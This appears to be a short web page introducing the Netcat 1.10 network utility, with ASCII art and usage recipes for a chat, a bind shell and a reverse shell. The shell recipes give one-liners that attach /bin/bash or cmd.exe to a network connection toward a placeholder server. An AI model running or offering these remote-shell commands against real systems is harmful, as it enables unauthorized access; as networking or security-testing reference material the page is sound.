the one and only... netcat!

Netcat 1.10
===========                                                     /\_/\       
                                                               / 0 0 \      
Netcat is a simple Unix utility which reads and writes data   ====v====     
across network connections, using TCP or UDP protocol.         \  W  /      
It is designed to be a reliable "back-end" tool that can       |     |     _
be used directly or easily driven by other programs and        / ___ \    / 
scripts.  At the same time, it is a feature-rich network      / /   \ \  |  
debugging and exploration tool, since it can create almost   (((-----)))-'  
any kind of connection you would need and has several         /             
interesting built-in capabilities.  Netcat, or "nc" as the   (      ___     
actual program is named, should have been supplied long ago   \__.=|___E    
as another one of those cryptic but standard Unix tools.             /

sourceforge.net

Download

1. nc-chat =D

Server: nc -v -l -p <port>

Client: nc -v <server-ip> <port>

2. nc-shell

Unix-Server: nc -v -l -p <port> -e /bin/bash

Windows-Server: nc -v -l -p <port> -e cmd.exe

Client: nc -v <server-ip> <port>

3. nc-shell > reverse-connection

Server: nc -v -l -p <port>

Unix-Client: nc -v -e /bin/bash <server-ip> <port>

Windows-Client: nc -v -e cmd.exe <server-ip> <port>